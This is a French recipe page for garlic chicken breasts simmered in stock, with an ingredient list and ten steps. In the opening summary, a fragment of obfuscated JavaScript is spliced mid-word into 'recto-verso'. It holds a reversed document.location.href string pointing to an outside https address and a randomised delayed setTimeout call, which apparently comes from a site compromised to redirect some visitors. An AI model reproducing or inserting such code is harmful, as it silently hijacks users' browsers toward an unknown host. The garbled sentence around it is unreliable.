Blancs de poulet à l’ail

2021-05-31

Pelez, coupez en deux les gousses d’ail. Ôtez le germe. Dans une sauteuse avec 2 cuillères à soupe d’huile d’arachide, sur feu vif. Faites revenir les blancs de poulet jusqu’à ce qu’ils soient dorés rectobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to-verso. Salez, poivrez.

Ingrédients

  • Pour 6 personnes
  • 6 blancs de poulet avec la peau
  • 2 cuillères à soupe d'huile d'arachide
  • 14 gousses d'ail
  • 20 cl d'eau froide
  • 1 cube de bouillon de volaille
  • Sel
  • poivre

Préparation de la recette

Etape 1

Pelez, coupez en deux les gousses d'ail.

Etape 2

Ôtez le germe.

Etape 3

Dans une sauteuse avec 2 cuillères à soupe d'huile d'arachide, sur feu vif.

Etape 4

Faites revenir les blancs de poulet jusqu'à ce qu'ils soient dorés recto-verso.

Etape 5

Salez, poivrez.

Etape 6

Mouillez avec 20 cl d'eau froide.

Etape 7

Portez à ébullition.

Etape 8

Incorporez le cube de volaille et les gousses d'ail.

Etape 9

Couvrez laissez mijoter pendant 30 minutes.

Etape 10

Répartissez les blancs de poulet dans 6 assiettes, nappez de sauce et dégustez.

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